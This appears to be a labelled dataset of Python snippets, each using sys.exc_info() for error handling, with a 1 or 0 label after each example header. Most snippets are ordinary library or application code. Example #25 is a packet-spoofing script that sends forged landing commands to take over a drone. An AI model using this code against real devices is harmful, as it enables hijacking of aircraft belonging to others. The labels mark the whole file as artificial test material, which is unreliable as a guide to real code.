Example #1
1
def receive_messages(request):
    json = request.POST["json"]
    try:
        data = simplejson.loads(json)
        # add if needed the persons
        persons = {}
        for p in data["persons"]:
            person = create_person(p["fields"])
            persons[
                p["pk"]
            ] = person  # map persons by their primary key in the injector, which will be the reference in the messages
        # add if needed the messages
        messages = []
        for m in data["messages"]:
            message = create_message(m["fields"], persons)
            messages.append(message)
            # extract & add the concepts
            concepts = extract_concepts(message.contents)
            for c in concepts:
                concept = create_concept(c)
                ca = create_concept_appearance(concept, message, person)
                # invoke match detection async
                DetectMatch.delay(concept_appearance=ca)
    except:
        print sys.exc_info()
    return HttpResponse("Received messages in JSON format:<br/>%s" % json)
Example #2
1
    def __exit__(self, *exc_details):
        # We manipulate the exception state so it behaves as though
        # we were actually nesting multiple with statements
        frame_exc = sys.exc_info()[1]

        def _fix_exception_context(new_exc, old_exc):
            while 1:
                exc_context = new_exc.__context__
                if exc_context in (None, frame_exc):
                    break
                new_exc = exc_context
            new_exc.__context__ = old_exc

        # Callbacks are invoked in LIFO order to match the behaviour of
        # nested context managers
        suppressed_exc = False
        while self._exit_callbacks:
            cb = self._exit_callbacks.pop()
            try:
                if cb(*exc_details):
                    suppressed_exc = True
                    exc_details = (None, None, None)
            except:
                new_exc_details = sys.exc_info()
                # simulate the stack of exceptions by setting the context
                _fix_exception_context(new_exc_details[1], exc_details[1])
                if not self._exit_callbacks:
                    raise
                exc_details = new_exc_details
        return suppressed_exc
Example #3
1
 def executemany(self, query, params=None):
     # cx_Oracle doesn't support iterators, convert them to lists
     if params is not None and not isinstance(params, (list, tuple)):
         params = list(params)
     try:
         args = [(":arg%d" % i) for i in range(len(params[0]))]
     except (IndexError, TypeError):
         # No params given, nothing to do
         return None
     # cx_Oracle wants no trailing ';' for SQL statements.  For PL/SQL, it
     # it does want a trailing ';' but not a trailing '/'.  However, these
     # characters must be included in the original query in case the query
     # is being passed to SQL*Plus.
     if query.endswith(";") or query.endswith("/"):
         query = query[:-1]
     query = convert_unicode(query % tuple(args), self.charset)
     formatted = [self._format_params(i) for i in params]
     self._guess_input_sizes(formatted)
     try:
         return self.cursor.executemany(query, [self._param_generator(p) for p in formatted])
     except Database.IntegrityError as e:
         six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
     except Database.DatabaseError as e:
         # cx_Oracle <= 4.4.0 wrongly raises a DatabaseError for ORA-01400.
         if hasattr(e.args[0], "code") and e.args[0].code == 1400 and not isinstance(e, IntegrityError):
             six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
         six.reraise(utils.DatabaseError, utils.DatabaseError(*tuple(e.args)), sys.exc_info()[2])
Example #4
1
 def handle(self, str):
     """Handle a command string.  First word is command."""
     # Lines beginning with ? are cries for help.
     if str[0] == "?":
         print "Term Commands:"
         print commands
         return
     # Lines beginning with # are comments.
     if str[0] == "#":
         return
     # Lines beginning with ! are Python.
     if str[0] == "!":
         try:
             exec (str.lstrip("!"))
         except:
             print sys.exc_info()[0]
         return
     # Backtick (`) indicates shell commands.
     if str[0] == "`":
         os.system(str.lstrip("`"))
         return
     # By this point, we're looking at a GoodFET command.
     args = str.split()
     if len(args) == 0:
         return
     try:
         eval("self.CMD%s(args)" % args[0])
     except:
         print sys.exc_info()[0]
Example #5
1
 def __call__(self, environ, start_response):
     try:
         return self.app(environ, start_response)
     except:
         traceback.print_exception(*sys.exc_info())
         pdb.post_mortem(sys.exc_info()[2])
         raise
Example #6
1
 def get(self):
     """Use with the "with" statement; returns a database connection."""
     if not self.conn:
         if self.db_file != ":memory:" and os.path.exists(self.db_file):
             try:
                 self.conn = get_db_connection(self.db_file, self.timeout)
             except (sqlite3.DatabaseError, DatabaseConnectionError):
                 self.possibly_quarantine(*sys.exc_info())
         else:
             raise DatabaseConnectionError(self.db_file, "DB doesn't exist")
     conn = self.conn
     self.conn = None
     try:
         yield conn
         conn.rollback()
         self.conn = conn
     except sqlite3.DatabaseError:
         try:
             conn.close()
         except Exception:
             pass
         self.possibly_quarantine(*sys.exc_info())
     except (Exception, Timeout):
         conn.close()
         raise
Example #7
1
    def __runner(self, pending_state, running_state, exc_handler):
        self.__transition(pending_state, running_state)

        step = lambda: next(self.__gen)
        while True:
            try:
                step()
            except StopIteration:
                self.__transition(running_state, _STOPPED)
                break
            except GeneratorExit:
                self.__transition(running_state, _CLOSED)
                break
            except BaseException:
                exc_info = sys.exc_info()
                try:
                    exc_handler(exc_info)
                except BaseException:
                    self.__transition(running_state, _FAILED)
                    raise

            if self.__state != running_state:
                break

            try:
                yield
            except BaseException:
                exc_info = sys.exc_info()
                step = lambda: self.__gen.throw(*exc_info)
            else:
                step = lambda: next(self.__gen)
Example #8
0
 def _executeTestPart(self, function, outcome, isTest=False):
     try:
         function()
     except KeyboardInterrupt:
         raise
     except SkipTest as e:
         outcome.success = False
         outcome.skipped = str(e)
     except _UnexpectedSuccess:
         exc_info = sys.exc_info()
         outcome.success = False
         if isTest:
             outcome.unexpectedSuccess = exc_info
         else:
             outcome.errors.append(exc_info)
     except _ExpectedFailure:
         outcome.success = False
         exc_info = sys.exc_info()
         if isTest:
             outcome.expectedFailure = exc_info
         else:
             outcome.errors.append(exc_info)
     except self.failureException:
         outcome.success = False
         outcome.failures.append(sys.exc_info())
         exc_info = sys.exc_info()
     except:
         outcome.success = False
         outcome.errors.append(sys.exc_info())
Example #9
0
def launch_shell(command):
  args = command.split(" ")

  if sys.platform == "win32":
    CREATE_NEW_PROCESS_GROUP = 0x00000200
    subproc_args = { 'stdin':     None,
                     'stdout':    None,
                     'stderr':    None,
                     'cwd':       None,
                     'close_fds': False,
                     'creationflags': CREATE_NEW_PROCESS_GROUP}
  else:
    subproc_args = { 'stdin':     None,
                     'stdout':    None,
                     'stderr':    None,
                     'cwd':       None,
                     'close_fds': False,
                     'preexec_fn': os.setsid}

  try:
    p = subprocess.Popen(args, **subproc_args)
  except OSError:
    # fork failed
    print sys.exc_info()[0]
    return -1
  return 0
Example #10
0
def _rmtree_unsafe(path, onerror):
    try:
        if os.path.islink(path):
            # symlinks to directories are forbidden, see bug #1669
            raise OSError("Cannot call rmtree on a symbolic link")
    except OSError:
        onerror(os.path.islink, path, sys.exc_info())
        # can't continue even if onerror hook returns
        return
    names = []
    try:
        names = os.listdir(path)
    except OSError:
        onerror(os.listdir, path, sys.exc_info())
    for name in names:
        fullname = os.path.join(path, name)
        try:
            mode = os.lstat(fullname).st_mode
        except OSError:
            mode = 0
        if stat.S_ISDIR(mode):
            _rmtree_unsafe(fullname, onerror)
        else:
            try:
                os.unlink(fullname)
            except OSError:
                onerror(os.unlink, fullname, sys.exc_info())
    try:
        os.rmdir(path)
    except OSError:
        onerror(os.rmdir, path, sys.exc_info())
Example #11
0
    def discoverClicked(self):
        self.__rollbackImporter.rollbackImports()
        directory = self.getDirectoryToDiscover()
        # TODO: log a debug-level message with the value of the variable
        # `directory`, which is set in the previous statement.
        # HINT: note that the enclosing method is called when you click the
        # Discover Tests button and select a directory

        if not directory:
            return
        self.directory_to_read = directory
        try:
            # Explicitly use 'None' value if no top level directory is
            # specified (indicated by empty string) as discover() explicitly
            # checks for a 'None' to determine if no tld has been specified
            top_level_dir = self.top_level_dir or None
            if top_level_dir:
                sys.path.append(top_level_dir)
                top_level_dir = None
            tests = unittest.defaultTestLoader.discover(directory, self.test_file_glob_pattern, top_level_dir)
            self.test_suite = tests
        except:
            exc_type, exc_value, exc_tb = sys.exc_info()
            traceback.print_exception(*sys.exc_info())
            self.errorDialog(
                "Unable to run test '%s'" % directory, "Error loading specified test: %s, %s" % (exc_type, exc_value)
            )
            return
        self.notifyTestsDiscovered(self.test_suite)
    def load(self, url):
        url = opts.url(url)
        printdebug("Loading: " + url)
        try:
            u = urllib.urlopen(url)
            self.rawData = u.read()
            self.doc = minidom.parseString(self.rawData)

            self.title = self.get("title")
            self.timestamp = self.get("timestamp")
            self.wiki = self.get("text")
        except:
            self.wiki = ""
            printdebug("Error loading/parsing '" + url + "'")
            printdebug(str(sys.exc_info()[0]) + ":" + str(sys.exc_info()[1]))
            return

        if opts.timestamp < self.timestamp:
            opts.timestamp = self.timestamp

        # handle a redirect immediately, url and header will be saved from the initial call
        # example "#redirect [[API/1.2/Selectors]]
        if re.search(r"\#redirect", self.wiki, re.IGNORECASE):
            m = re.search(r"\#redirect \[\[(?P<dir>.*)\]\]", self.wiki, re.IGNORECASE)
            printdebug("Redirected to... " + m.group("dir"))
            self.load(m.group("dir"))
Example #13
0
def delete_enterprise_interactive(user, password, api, csp, delete_prefix):
    try:
        # Start session
        session = NUVSDSession(username=user, password=password, enterprise=csp, api_url=api)

        session.start()

        enterprise_predicate = 'name beginswith "%s"' % delete_prefix
        mpf = MultiPageFetch(session)

        enterprises = mpf.fetch_enterprises(enterprise_predicate)

        for enterprise in enterprises:
            enterprise.delete()

    except requests.exceptions.MissingSchema:
        print "Encountered error. Check API url:"
        exc_type, exc_value, exc_traceback = sys.exc_info()
        # print exc_type
        print exc_value
        # print exc_traceback
    except bambou.exceptions.BambouHTTPError:
        print "Unauthorized user. Check username and password"
        exc_type, exc_value, exc_traceback = sys.exc_info()
        # print exc_type
        print exc_value
        # print exc_traceback
    except:
        print "Unknown Error"
        print sys.exc_info()
Example #14
0
def search(request):
    # Parse request
    concept = request.GET["q"] if "q" in request.GET else "No query specified"
    distance = int(request.GET["d"]) if "d" in request.GET else 5
    pntwkt = request.GET["location"] if "location" in request.GET else "POINT(0.0 0.0)"

    # Create GEOS Geometry object to future usage in GIS queries
    pnt = fromstr(pntwkt)

    json = "{}"
    try:
        messages = Message.objects.filter(location__distance_lte=(pnt, D(km=distance)))
        messages = messages.filter(concepts__concept__name=concept)
        results = []
        for msg in messages:
            for c in msg.concepts.filter(concept__name=concept):
                results.append(
                    {
                        "person_username": c.person.name,
                        "concept": c.concept.name,
                        "message": msg.contents,
                        "x": msg.get_x(),
                        "y": msg.get_y(),
                    }
                )

        json = simplejson.dumps(results)
    except:
        print sys.exc_info()
    # Return the response back
    return HttpResponse(json, mimetype="application/json")
Example #15
0
    def _exec_e(self, f, *args, **kwargs):
        """ Executes the event """
        info = "%s.%s()" % (str(self._class(args[0])), f.func_name)

        if self.context.debug and log.isEnabledFor(logging.DEBUG):
            msg = "[%s] Processing event %s"
            log.debug(msg % (threading.current_thread().name, info))

        if isinstance(self.lock, threading._RLock):
            # synchronization
            self.lock.acquire()
        try:
            result = self._memoize(self.memoize, self.timeout, f, *args, **kwargs)
            result.extend((self._class(args[0]), f))
            return tuple(result)
        except Exception as err:
            if self.context.exc_info:
                if not self.context.traceback:
                    return (False, sys.exc_info()[:2], self._class(args[0]), f)
                return (False, sys.exc_info(), self._class(args[0]), f)
            else:
                return (False, err, self._class(args[0]), f)
        finally:
            if isinstance(self.lock, threading._RLock):
                self.lock.release()

            if self.context.debug and log.isEnabledFor(logging.DEBUG):
                msg = "[%s] Processing of event %s is completed"
                log.debug(msg % (threading.current_thread().name, info))
Example #16
0
def get_tweet_id():
    tw_api = set_api()

    count = 200
    max_id = None

    id_list = []
    i = 0

    while True:
        if i == 16:
            break
        i += 1
        try:
            data = tw_api.GetUserTimeline(count=count, max_id=max_id, include_rts=True)
            for s in data:
                if max_id != s.id:
                    id_list.append(s.id)
                max_id = s.id
            print "get_tweet_id%s回目" % i
        except:
            print "get_tweet_id%s回目" % i
            print sys.exc_info()
            break
    return id_list
    def _download_tars(self, check_integrity=True):
        self.retrieved_packages_unpacked = []

        if self.files_list:
            if check_integrity:
                self.ftp.check_pkgs_integrity(self.files_list, self.logger)

            print "Downloading %i tar packages." % (len(self.files_list))

            total_count = len(self.files_list)

            for i, filename in enumerate(self.files_list, start=1):
                self.logger.info("Downloading tar package %s of %s: %s" % (i, total_count, filename))
                unpack_path = join(CFG_TAR_FILES, filename)
                self.retrieved_packages_unpacked.append(unpack_path)

                try:
                    self.ftp.download(filename, CFG_TAR_FILES)
                except:
                    self.logger.error("Error downloading tar file: %s" % (filename,))
                    print sys.exc_info()

            return self.retrieved_packages_unpacked
        else:
            self.logger.info("No new packages to download.")
            raise NoNewFiles
Example #18
0
    def handle(self, *args, **options):
        def get_tmdb_ids():
            def get_args():
                if args:
                    movie_id = args[0]
                    try:
                        batch = args[1]
                    except:
                        batch = False
                else:
                    movie_id = None
                    batch = None
                return movie_id, batch

            movie_id, batch = get_args()

            movies = Movie.objects.all()
            if movie_id is not None:
                if batch:
                    movies = movies.filter(pk__gte=movie_id)
                else:
                    movies = movies.filter(pk=movie_id)
            return movies.values_list("tmdb_id", flat=True)

        for tmdb_id in get_tmdb_ids():
            try:
                print add_movie_to_db(tmdb_id, True)
            except TMDBRequestInvalid:
                print "Movie id - %d" % Movie.objects.get(tmdb_id=tmdb_id).id
                print sys.exc_info()[1]
Example #19
0
def at(nick, channel, arguments, sender, config, irc):
    try:
        r = requests.get(config.get("at", "spaceapi_url"))
        if callable(r.json):
            j = r.json()
        else:
            j = r.json

        msg = []
        msg.append(u"Hackerspace jest " + (u"otwarty" if j["state"]["open"] else u"zamknięty"))

        any_lights = False
        lights_str = []
        for room, state in j["sensors"]["ext_lights"][0].items():
            if state == True:
                any_lights = True
                lights_str.append(room)

        if any_lights:
            msg.append(u"Światło zaświecone w: " + ", ".join(lights_str) + ".")
        else:
            msg.append(u"Światła pogaszone.")

        helpers.msg(irc.client, channel, nick + ": " + ", ".join(msg))

    except:
        exc_type, exc_value, exc_traceback = sys.exc_info()
        traceback.print_exception(exc_type, exc_value, exc_traceback, limit=2, file=sys.stdout)
        helpers.msg(irc.client, channel, nick + u": Spaceapi… nie działa.")

    try:
        r = requests.get(config.get("at", "whois_url"))
        if callable(r.json):
            j = r.json()
        else:
            j = r.json
        l = len(j["users"])

        if l == 0:
            msg = u"Żywego ducha nie uświadczysz…"
        else:
            if int(l + j["total_devices_count"]) == 1:
                devnoun = u"urządzenie"
            elif (
                int(l + j["total_devices_count"]) % 10 >= 2
                and int(l + j["total_devices_count"]) % 10 <= 4
                and int(l + j["total_devices_count"]) > 14
            ):
                devnoun = u"urządzenia"
            else:
                devnoun = u"urządzeń"

            msg = u"%s %s, w tym białkowe: %s" % (l + j["total_devices_count"], devnoun, ", ".join(j["users"]))

        helpers.msg(irc.client, channel, nick + u": " + msg)

    except:
        exc_type, exc_value, exc_traceback = sys.exc_info()
        traceback.print_exception(exc_type, exc_value, exc_traceback, limit=2, file=sys.stdout)
        helpers.msg(irc.client, channel, nick + u": Whois… nie działa.")
Example #20
0
    def download(self):
        """
            This function tries to open a url using a user agent Opera, basically tricking server into thinking
            we are using Opera to open the site. It downloads the raw html on the page, granted that there are no
            HTTP or socket errors while running the code.
        """
        try:
            u = urllib.request.URLopener()  # Python 3: urllib.request.URLOpener
            u.addheaders = []
            u.addheader("User-Agent", "Opera/9.80 (Windows NT 6.1; WOW64; U; de) Presto/2.10.289 Version/12.01")
            u.addheader("Accept-Language", "de-DE,de;q=0.9,en;q=0.8")
            u.addheader(
                "Accept",
                "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1",
            )
            f = u.open(self.url)
            thePage = f.read()
            self.header = f.info()
            if f.info()["Last-Modified"]:
                self.mod = f.info()["Last-Modified"]
            self.pageText = thePage.decode("iso-8859-1")
            f.close()
        except (urllib.error.HTTPError):
            import sys

            ty, err, tb = sys.exc_info()
            print("HTTP Error.")
        except socket.error:
            import sys

            ty, err, tb = sys.exc_info()
            print("Socket Error.")
Example #21
0
 def read_conf(self, conffilename):
     try:
         f = open(conffilename)
         s = f.read()
         try:
             cfg = json.loads(s)
             for k in cfg.keys():
                 if k == "binary":
                     if type(cfg[k]) == unicode or type(cfg[k]) == str:
                         self.binary = cfg[k]
                     else:
                         print "Error in configuration file: " + "Value of key 'binary' should be a file path."
                 elif k == "lastcodedir":
                     if type(cfg[k]) == unicode or type(cfg[k]) == str:
                         self.last_code_dir = cfg[k]
                     else:
                         print "Error in configuration file: " + "Value of key 'lastcodedir' should be a file path."
                 elif k == "pdfviewer":
                     if type(cfg[k]) == unicode or type(cfg[k]) == str:
                         self.pdf_viewer = cfg[k]
                     else:
                         print "Error in configuration file: " + "Value of key 'pdfviewer' should be a file path."
                 else:
                     print "Ignoring unknown configuration key '" + k + "'."
         except:
             print "Invalid configuration file."
             print "Please make sure that the configuration file " + "has correct JSON syntax."
             print sys.exc_info()[1]
     except:
         print "Failed to open configuration file", conffilename
     finally:
         try:
             f.close()
         except:
             pass
def songCount():
    songs = {}
    with open("jazz_db.json") as jazz_db:
        index = 0
        for album in jazz_db:
            if index == 0:
                album = album[1:]
            if index == db_length:
                album = album[:-1]
            else:
                album = album[:-2]
            try:
                album_dict = json.loads(album)
                songList = album_dict["SongList"]

                for subList in songList:
                    for song in subList:
                        song = song.lower()
                        if song in songs:
                            songs[song] += 1
                        else:
                            songs[song] = 1

            except:
                print index
                print album
                print sys.exc_info()[0]
                break
            index += 1
    return songs
Example #23
0
def USER_LED(inStatus):
    # This function initializes the IO
    #   Arguments:
    #   inStatus : GPS LED status. Pass in either 'ON' or 'OFF'
    #       OFF - LED always OFF
    #       ON - LED always ON
    #

    try:

        rtnList = [-1, -1]  # [return status,return data]
        # return status:
        #   -1:    Exception occurred
        #    0:    No errors occurred, no return data
        #    1:    No errors occurred, return data

        # GPIO.setIOvalue(GPIOnumber, value)
        #    2 - GPS LED (User LED)

        if inStatus == "OFF":
            rtnList[1] = GPIO.setIOvalue(2, 0)  # Output, LOW (LED OFF)
        elif inStatus == "ON":
            rtnList[1] = GPIO.setIOvalue(2, 1)  # Output, HIGH (LED ON)

        if rtnList[1] == -1:  # Errored out
            return rtnList

        rtnList[0] = 0  # no error, no data

    except:
        print sys.exc_info()
        rtnList[0] = -1

    return rtnList
Example #24
0
 def install(self, package):
     source_path = package.get_file()
     target_dirname = os.path.dirname(self.extract_path)
     try:
         extract_parent_dir = os.path.dirname(self.extract_path)
         extract_dirname = os.path.basename(self.extract_path)
         if not os.path.exists(extract_parent_dir):
             logger.action("mkdir -p %s" % extract_parent_dir)
             os.makedirs(extract_parent_dir)
         elif os.path.exists(self.extract_path):
             # old version present, remove it
             logger.action("rm -rf %s" % self.extract_path)
             shutil.rmtree(self.extract_path)
         package.extract(extract_parent_dir, extract_dirname)
     except:
         logger.exception("Extract for %s failed" % package.get_file())
         error = convert_exc_to_user_error(
             sys.exc_info(),
             errors[ERR_EXTRACT_ERROR],
             msg_args={"archive": package.get_file(), "dir": self.extract_path},
         )
         raise error
     try:
         if self.group:
             engage.utils.file.set_shared_directory_group_and_permissions(self.extract_path, self.group, logger)
     except:
         logger.exception("Recursive permission set for %s failed" % self.extract_path)
         error = convert_exc_to_user_error(
             sys.exc_info(), errors[ERR_PERMSET_ERROR], msg_args={"dir": self.extract_path, "group": self.group}
         )
         raise error
     self.ran_install = True
     self.validate_post_install()
Example #25
0
def parsePacket(pkt):
    try:
        if "UDP" in pkt and pkt.dport == 5556:  # read packet meant for drone
            pkt.show()

            addresses = []  # get all the addresses in 802.11 header
            if pkt.addr1:
                addresses.append(pkt.addr1)
            if pkt.addr2:
                addresses.append(pkt.addr2)
            if pkt.addr3:
                addresses.append(pkt.addr3)

            if len(addresses) < 2:  # only one address means prob invalid packet
                return

            pkt = pkt.getlayer(1)  # remove top layer

            spoofed_ip = pkt.src

            new_seqno = 1  # 1 always resets seqno
            land_cmd = "AT*REF=%d,0\r" % new_seqno  # accepts any seqno higher than old

            for addr in addresses:
                spoofed_pkt = Ether(src=addr) / IP(src=spoofed_ip, dst="192.168.1.1") / UDP(dport=5556) / land_cmd
                for i in xrange(50):
                    send(spoofed_pkt)

    except (AttributeError, Exception) as e:
        print sys.exc_info()[0]
        # pkt could not have attributes we are expecting
        return
Example #26
0
def songsQueue(state):
    import sys

    if state.curSong:
        # We just started the player and we have a current song from persistent storage.
        # Yield it now so that we begin playing with this song.
        # Yield the Song object itself, though, not the ObjectProxy. The ObjectProxy
        # would result in very strange behavior later for onSongChange events.
        try:
            song = state.curSong.__get__(None)
            assert song
            song.openFile()
        except Exception:
            print "exception in songsQueue on getting first song"
            sys.excepthook(*sys.exc_info())
        else:
            yield song
    import queue

    while True:
        try:
            song = queue.getNextSong()
            assert song
            song.openFile()
        except Exception:
            print "exception in songsQueue on getting next song"
            sys.excepthook(*sys.exc_info())
        else:
            yield song
    def onExecute(self, ec_id):
        try:
            # check new data.
            if self._velIn.isNew():
                # read velocity data from inport.
                self._d_vel = self._velIn.read()

                vel_ = [0, 0, 0]
                vel_[self._mapping[self._map[0][0]]] = self._d_vel.data[0]
                vel_[self._mapping[self._map[0][1]]] = self._d_vel.data[1]
                # set velocity
                self._nxtbrick.setMotors(vel_)
            else:
                print "buffer empty"

            # get sensor data.
            sensor_ = self._nxtbrick.getSensors()
            if sensor_:
                self._d_sens.data = sensor_
                # write sensor data to outport.
                self._sensOut.write()

            # get position data.
            position_ = self._nxtbrick.getMotors()
            if position_:
                self._d_pos.data = [
                    position_[self._mapping[self._map[0][0]]],
                    position_[self._mapping[self._map[0][1]]],
                ]
                # write position data to outport.
                self._posOut.write()
        except:
            print sys.exc_info()[1]

        return RTC.RTC_OK
 def remove_message(self, msg, save_state=True):
     mailbox.remove_message(self, msg)
     note("    removed from %s...", self)
     if self.category:
         try:
             msg.mbox_id.remove_category(self.category)
             note("    removed category %s from %s...", self.category, msg.mbox_id)
         except:
             note(2, "%s", "".join(traceback.format_exception(*sys.exc_info())))
     elif self.collection:
         try:
             if isinstance(self.collection, PrestoCollection):
                 self.collection.exclude_doc(msg.mbox_id)
                 note("    excluded %s from %s...", msg.mbox_id, self.collection)
             elif msg.mbox_id in self.collection:
                 self.collection.exclude_doc(msg.mbox_id)
                 note("    excluded %s from %s...", msg.mbox_id, self.collection)
         except:
             note(2, "%s", "".join(traceback.format_exception(*sys.exc_info())))
     else:
         # if neither category nor collection, self.folder is a PrestoCollection
         try:
             assert isinstance(self.folder, PrestoCollection)
             self.folder.exclude_doc(msg.mbox_id)
             note("    excluded %s from %s...", msg.mbox_id, self.folder)
         except:
             note(2, "%s", "".join(traceback.format_exception(*sys.exc_info())))
             raise
     try:
         if save_state and msg.needs_saving():
             self.save_message(msg)
     except:
         note(2, "%s", "".join(traceback.format_exception(*sys.exc_info())))
Example #29
0
def get_commands():
    while 1:
        try:
            readbuffer = s.recv(1024)
            sBuff = string.split(readbuffer, "\n")
            readbuffer = sBuff.pop()

            for line in sBuff:
                line = string.rstrip(line)
                line = string.split(line)
                # print(line)

                if line[0] == "PING":
                    print("Sending pong")
                    s.send("PONG %s\r\n" % line[1])

                if line[1] == "PRIVMSG":
                    # Get command string
                    command = line[3]
                    command = command.replace(":", "")

                    # Get nickname of user who typed the command
                    nickname = line[0]
                    nickname = nickname.replace(":", "")
                    nickname = nickname[: nickname.find("!")]

                    # Get channel or username of chat in which the command was entered
                    chat = line[2]

                    if command.upper() == "~HELP":
                        print("Help command from " + nickname + " in chat with " + chat)
                        HELP()

                    if command.upper() == "~BI":
                        print("BI command from " + nickname + " in chat with " + chat)
                        BI()

                    if command.upper() == "~UD":
                        print("UD command from " + nickname + " in chat with " + chat)
                        UD()

                    if command.upper() == "~ABOUT":
                        print("ABOUT")
                        ABOUT()

                    if command.upper() == "~UDD":
                        if len(line) >= 5:
                            print('UDD command with arg "' + line[4] + '" from ' + nickname + " in chat with " + chat)
                            UDD(" ".join(line[4:]).strip())
                        else:
                            print("UDD command with no arg from " + nickname + " in chat with " + chat)
                            s.send("PRIVMSG %s :No keyword entered. Try again\r\n" % chat)
                            # NOTE: Could simply merge UD and UDD user commands so that if the user puts an argument to ~UD, he gets the definition, and no argument gets a random definition.

        except SystemExit:
            sys.exit(0)

        except:
            print("Error - ", sys.exc_info()[0], sys.exc_info()[1])
            s.send("PRIVMSG %s :(eror 0x2381ff64) Look at that pipe, it's broken. Try again.\r\n" % LOBBY)
Example #30
0
def obtain(fn, data=bb.data.init()):
    import sys, bb

    fn = bb.data.expand(fn, data)
    localfn = bb.data.expand(localpath(fn, data), data)

    if localfn != fn:
        dldir = bb.data.getVar("DL_DIR", data, 1)
        if not dldir:
            debug(1, "obtain: DL_DIR not defined")
            return localfn
        bb.mkdirhier(dldir)
        try:
            bb.fetch.init([fn])
        except bb.fetch.NoMethodError:
            (type, value, traceback) = sys.exc_info()
            debug(1, "obtain: no method: %s" % value)
            return localfn

        try:
            bb.fetch.go(data)
        except bb.fetch.MissingParameterError:
            (type, value, traceback) = sys.exc_info()
            debug(1, "obtain: missing parameters: %s" % value)
            return localfn
        except bb.fetch.FetchError:
            (type, value, traceback) = sys.exc_info()
            debug(1, "obtain: failed: %s" % value)
            return localfn
    return localfn